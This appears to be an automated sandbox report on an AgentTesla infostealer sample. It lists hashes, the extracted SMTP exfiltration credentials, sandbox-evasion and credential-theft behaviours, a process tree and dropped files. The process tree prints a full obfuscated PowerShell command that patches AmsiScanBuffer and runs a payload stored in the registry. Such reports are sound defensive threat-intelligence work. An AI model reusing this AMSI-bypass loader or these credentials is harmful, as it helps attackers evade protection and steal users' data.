Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    69s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/06/2024, 02:19

General

  • Target

    1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe

  • Size

    219KB

  • MD5

    9e3e62e59a79ed00da2a3f311f899689

  • SHA1

    8f624d3d40bacf98f5310eac8402c7a54f62518a

  • SHA256

    1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1

  • SHA512

    52ea87f574a5b399d8accf0bfab53050f97598f522cd686caeaea034471a8030a089d9c39dedda726451846fe09e70477c8e272a4cdcc674788bef74ab1b0410

  • SSDEEP

    3072:uzJNjggfyKg0KggLV0FOhJirBwtHwwEJx5Ehl/Qs7GzrlKFHZWazC3ayZyn+q/wC:yH10CtAbv

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    aprtrit.shop
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    GThc}*t4(mJc

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 13 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 10 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:616
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:1012
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{234d6881-323e-4e04-b8cc-e7ae4c73e777}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3680
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:672
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:956
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:748
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:1056
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1108
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1116
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1156
                    • C:\Windows\system32\taskhostw.exe
                      taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                      2⤵
                        PID:2736
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:jqtSMpOZhbUU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ByVvaRIXHHaiqC,[Parameter(Position=1)][Type]$gUTRrauIUC)$mHfazOomKQb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+'c'+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+'Me'+'m'+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+'d'+'u'+''+[Char](108)+'e',$False).DefineType(''+'M'+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'T'+'y'+''+'p'+''+'e'+'','Cla'+[Char](115)+''+[Char](115)+''+[Char](44)+'Pu'+'b'+''+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+''+'e'+'d'+[Char](44)+''+'A'+''+'n'+''+'s'+''+[Char](105)+'C'+[Char](108)+'as'+'s'+''+','+'Au'+[Char](116)+''+'o'+''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$mHfazOomKQb.DefineConstructor(''+'R'+'T'+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+'l'+''+'N'+''+[Char](97)+'me'+[Char](44)+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$ByVvaRIXHHaiqC).SetImplementationFlags('Runt'+[Char](105)+''+[Char](109)+'e'+[Char](44)+'M'+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+''+'d'+'');$mHfazOomKQb.DefineMethod('I'+'n'+''+'v'+'o'+[Char](107)+'e',''+'P'+''+'u'+''+[Char](98)+'lic'+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+'o'+'t'+''+','+'V'+[Char](105)+''+[Char](114)+''+'t'+'u'+'a'+''+'l'+'',$gUTRrauIUC,$ByVvaRIXHHaiqC).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'t'+'i'+''+'m'+''+'e'+''+','+''+[Char](77)+'an'+[Char](97)+'g'+'e'+''+[Char](100)+'');Write-Output $mHfazOomKQb.CreateType();}$WrHTipWllmgJp=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sys'+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+'ros'+'o'+'f'+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+'n32.Un'+[Char](115)+'af'+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](118)+''+'e'+'M'+[Char](101)+''+[Char](116)+'hods');$aIlFaiStCJHxdi=$WrHTipWllmgJp.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+'d'+'re'+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+''+'S'+''+[Char](116)+''+'a'+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qkcuGshrjdtwSmoCaFv=jqtSMpOZhbUU @([String])([IntPtr]);$xOilujRZNriMTrXFfgNKpH=jqtSMpOZhbUU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rrAgaOwJYxf=$WrHTipWllmgJp.GetMethod(''+[Char](71)+''+'e'+''+'t'+'Mo'+[Char](100)+''+'u'+''+[Char](108)+'e'+[Char](72)+''+'a'+'n'+'d'+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+'n'+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+'l')));$pvvSNBSCNZHngh=$aIlFaiStCJHxdi.Invoke($Null,@([Object]$rrAgaOwJYxf,[Object](''+[Char](76)+''+'o'+'a'+[Char](100)+''+'L'+''+[Char](105)+'br'+[Char](97)+''+[Char](114)+'yA')));$WCtHHJntcCZJptUSd=$aIlFaiStCJHxdi.Invoke($Null,@([Object]$rrAgaOwJYxf,[Object](''+'V'+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+'te'+[Char](99)+'t')));$wULplzU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pvvSNBSCNZHngh,$qkcuGshrjdtwSmoCaFv).Invoke(''+'a'+''+[Char](109)+'s'+[Char](105)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$hxNATQuIanlWlWsqu=$aIlFaiStCJHxdi.Invoke($Null,@([Object]$wULplzU,[Object](''+[Char](65)+''+[Char](109)+'s'+[Char](105)+''+'S'+''+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+'e'+''+[Char](114)+'')));$WeYCpfCGYi=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WCtHHJntcCZJptUSd,$xOilujRZNriMTrXFfgNKpH).Invoke($hxNATQuIanlWlWsqu,[uint32]8,4,[ref]$WeYCpfCGYi);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hxNATQuIanlWlWsqu,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WCtHHJntcCZJptUSd,$xOilujRZNriMTrXFfgNKpH).Invoke($hxNATQuIanlWlWsqu,[uint32]8,0x20,[ref]$WeYCpfCGYi);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](36)+'7'+[Char](55)+'st'+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
                        2⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:5012
                        • C:\Windows\System32\Conhost.exe
                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          3⤵
                            PID:640
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                        1⤵
                        • Drops file in System32 directory
                        PID:1188
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1280
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1320
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                            1⤵
                              PID:1336
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1436
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:2968
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                  1⤵
                                    PID:1460
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1576
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                      1⤵
                                        PID:1588
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1632
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                          1⤵
                                            PID:1728
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1760
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                              1⤵
                                                PID:1772
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1880
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                  1⤵
                                                    PID:2020
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                    1⤵
                                                      PID:2028
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:1100
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                        1⤵
                                                          PID:2052
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                          1⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2084
                                                        • C:\Windows\System32\spoolsv.exe
                                                          C:\Windows\System32\spoolsv.exe
                                                          1⤵
                                                            PID:2172
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                            1⤵
                                                              PID:2268
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                              1⤵
                                                                PID:2296
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2504
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                  1⤵
                                                                    PID:2512
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                    • Drops file in System32 directory
                                                                    • Modifies data under HKEY_USERS
                                                                    PID:2636
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2700
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2720
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                        1⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2728
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                        1⤵
                                                                          PID:2740
                                                                        • C:\Windows\system32\wbem\unsecapp.exe
                                                                          C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                          1⤵
                                                                            PID:2952
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                            1⤵
                                                                              PID:1756
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                              1⤵
                                                                                PID:3112
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                1⤵
                                                                                  PID:3340
                                                                                • C:\Windows\Explorer.EXE
                                                                                  C:\Windows\Explorer.EXE
                                                                                  1⤵
                                                                                    PID:3376
                                                                                    • C:\Users\Admin\AppData\Local\Temp\1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1.exe"
                                                                                      2⤵
                                                                                      • Adds Run key to start application
                                                                                      • Suspicious use of SetThreadContext
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:3764
                                                                                      • C:\Users\Admin\AppData\Local\Temp\$774fe605
                                                                                        "C:\Users\Admin\AppData\Local\Temp\$774fe605"
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:3196
                                                                                      • C:\Users\Admin\AppData\Local\Temp\$77dfb0c9
                                                                                        "C:\Users\Admin\AppData\Local\Temp\$77dfb0c9"
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        PID:4624
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                    1⤵
                                                                                      PID:3540
                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                      1⤵
                                                                                        PID:3744
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                        • Modifies registry class
                                                                                        PID:3940
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:3100
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:2212
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                            1⤵
                                                                                              PID:3360
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                              1⤵
                                                                                                PID:728
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                1⤵
                                                                                                • Modifies data under HKEY_USERS
                                                                                                PID:1488
                                                                                              • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                1⤵
                                                                                                  PID:1704
                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                  1⤵
                                                                                                    PID:4560
                                                                                                  • C:\Windows\system32\SppExtComObj.exe
                                                                                                    C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:3676
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                      1⤵
                                                                                                        PID:2788
                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                        1⤵
                                                                                                          PID:1792
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:924
                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                            1⤵
                                                                                                              PID:4452
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                              1⤵
                                                                                                                PID:3036
                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                1⤵
                                                                                                                • Checks BIOS information in registry
                                                                                                                • Checks SCSI registry key(s)
                                                                                                                • Checks processor information in registry
                                                                                                                • Enumerates system info in registry
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:4580
                                                                                                              • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                1⤵
                                                                                                                  PID:1404
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                  1⤵
                                                                                                                    PID:3052
                                                                                                                  • C:\Windows\System32\mousocoreworker.exe
                                                                                                                    C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                    1⤵
                                                                                                                    • Checks processor information in registry
                                                                                                                    • Enumerates system info in registry
                                                                                                                    PID:880
                                                                                                                  • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                    C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                    1⤵
                                                                                                                    • Drops file in Windows directory
                                                                                                                    PID:2840
                                                                                                                  • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                    1⤵
                                                                                                                      PID:2352

                                                                                                                    Network

                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                    Replay Monitor

                                                                                                                    Loading Replay Monitor...

                                                                                                                    Downloads

                                                                                                                    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                      Filesize

                                                                                                                      328B

                                                                                                                      MD5

                                                                                                                      b6bc7d0a2ed197993b6cf96bbf9fb8c8

                                                                                                                      SHA1

                                                                                                                      267dc8024b10db85c5c43ca244c5c177ed1ab044

                                                                                                                      SHA256

                                                                                                                      b233530e145aaa17871a6083c906c6fd1273b8de19659348eedc645f41fe594e

                                                                                                                      SHA512

                                                                                                                      ec33c4c53be1a1646151f8ecd1a5032ee2b0c1fdab2b0a974491be8217cf031ab7415a593f4381098e105b3f80c5895758b66fed870124aa1a5132b3449b98a0

                                                                                                                    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

                                                                                                                      Filesize

                                                                                                                      330B

                                                                                                                      MD5

                                                                                                                      0749de80d306544ce4959302f38fed9a

                                                                                                                      SHA1

                                                                                                                      8f11ffb600516c42ae400b8286a573392629c6de

                                                                                                                      SHA256

                                                                                                                      ea1b67f5d33869aa66f352263f875fbaa5aff857bdc0885b99b29eb84665d263

                                                                                                                      SHA512

                                                                                                                      0b682e78e92569bea12c1748c1ad427616b5e195864eb385923fd047229ae6c6a4d3b1b9633eafb3d9e077f37e94b316cd78ec072aabc8c79d69ed0f88f03b47

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\$774fe605

                                                                                                                      Filesize

                                                                                                                      219KB

                                                                                                                      MD5

                                                                                                                      9e3e62e59a79ed00da2a3f311f899689

                                                                                                                      SHA1

                                                                                                                      8f624d3d40bacf98f5310eac8402c7a54f62518a

                                                                                                                      SHA256

                                                                                                                      1e04777d5df8153710660615cc90aad2ad0eff8705f13dca926a3b31d34c70f1

                                                                                                                      SHA512

                                                                                                                      52ea87f574a5b399d8accf0bfab53050f97598f522cd686caeaea034471a8030a089d9c39dedda726451846fe09e70477c8e272a4cdcc674788bef74ab1b0410

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      f313c5b4f95605026428425586317353

                                                                                                                      SHA1

                                                                                                                      06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                      SHA256

                                                                                                                      129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                      SHA512

                                                                                                                      b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                      SHA1

                                                                                                                      a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                      SHA256

                                                                                                                      98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                      SHA512

                                                                                                                      1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                      SHA1

                                                                                                                      63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                      SHA256

                                                                                                                      727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                      SHA512

                                                                                                                      f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                      SHA1

                                                                                                                      5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                      SHA256

                                                                                                                      55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                      SHA512

                                                                                                                      5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      0b990e24f1e839462c0ac35fef1d119e

                                                                                                                      SHA1

                                                                                                                      9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                      SHA256

                                                                                                                      a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                      SHA512

                                                                                                                      c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                    • C:\Windows\Temp\__PSScriptPolicyTest_szf01ryn.inz.ps1

                                                                                                                      Filesize

                                                                                                                      60B

                                                                                                                      MD5

                                                                                                                      d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                      SHA1

                                                                                                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                      SHA256

                                                                                                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                      SHA512

                                                                                                                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                    • memory/3196-4902-0x0000000000400000-0x000000000042B000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      172KB

                                                                                                                    • memory/3764-7-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-67-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

